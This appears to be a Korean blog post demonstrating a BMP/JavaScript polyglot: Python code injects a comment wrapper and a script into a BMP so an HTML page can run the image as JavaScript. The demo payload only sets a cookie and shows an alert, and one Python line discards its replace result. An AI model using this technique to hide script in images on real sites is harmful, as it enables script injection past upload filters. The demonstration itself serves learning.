#11. BMP 이미지 해킹
by Qerogram서론
이런게 된다고는 생각해본 적 없던, bmp 파일에 코드 인젝션을 해서 html에서 실행을 해보았다.
진행과정
0. 아이디어
- 웹 브라우져는 Signature만 확인되면 데이터가 손상되어 있어도 상관없이 잘 실행이 된다.
- 즉, 42 4D 뒤에 /* */ 주석을 처음부터 끝까지 처리한 뒤, 자연스럽게 bof의 썰매 기법처럼 스크립트를 실행할 수 있게 되는 것이다.
1. 소스코드
* 파이썬 코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #-*- coding: utf-8 -*- fname = "attack.bmp" pfile = open(fname, "r+b") buff = pfile.read() # 주석을 닫는 행위를 모두 치환. buff.replace(b'\x2A\x2F', b'\x00\x00') pfile.close() pfile = open(fname, "w+b") pfile.write(buff) pfile.seek(2,0) # Signature 뒤에 /*를 삽입 pfile.write(b'\x2F\x2A') pfile.close() pfile = open(fname, "a+b") pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B') # 주석 닫기. pfile.write(open('hello.js','rb').read()) pfile.close() | cs |
* 삽입할 스크립트
1 2 3 4 5 6 | name = 'id'; value = 'RedScreen'; var todayDate = new Date(); todayDate.setHours(todayDate.getDate() + 7); document.cookie = name + "=" + escape( value ) + "; path=/; expires=" + todayDate.toGMTString() + ""; alert("cookie is " + document.cookie) | cs |
* html 코드
1 2 | <img src="attack.bmp"/> <script src="attack.bmp"></script> | cs |
2. 결과
* bmp 하단에 코드 추가확인.
* 실행결과
# REF
http://redscreen.tistory.com/60?category=177955
'코딩 > Python' 카테고리의 다른 글
#13. ADLER32 Calc in Python 2.7.15 (0) | 2018.10.12 |
---|---|
#12. Virustotal_API를 이용한 코딩 (0) | 2018.07.07 |
#10. PyInstaller (0) | 2018.06.28 |
#9. Tray 프로그램 (0) | 2018.06.26 |
#7. Django에 SSL 달아주기 (0) | 2018.02.13 |
블로그의 정보
Data+
Qerogram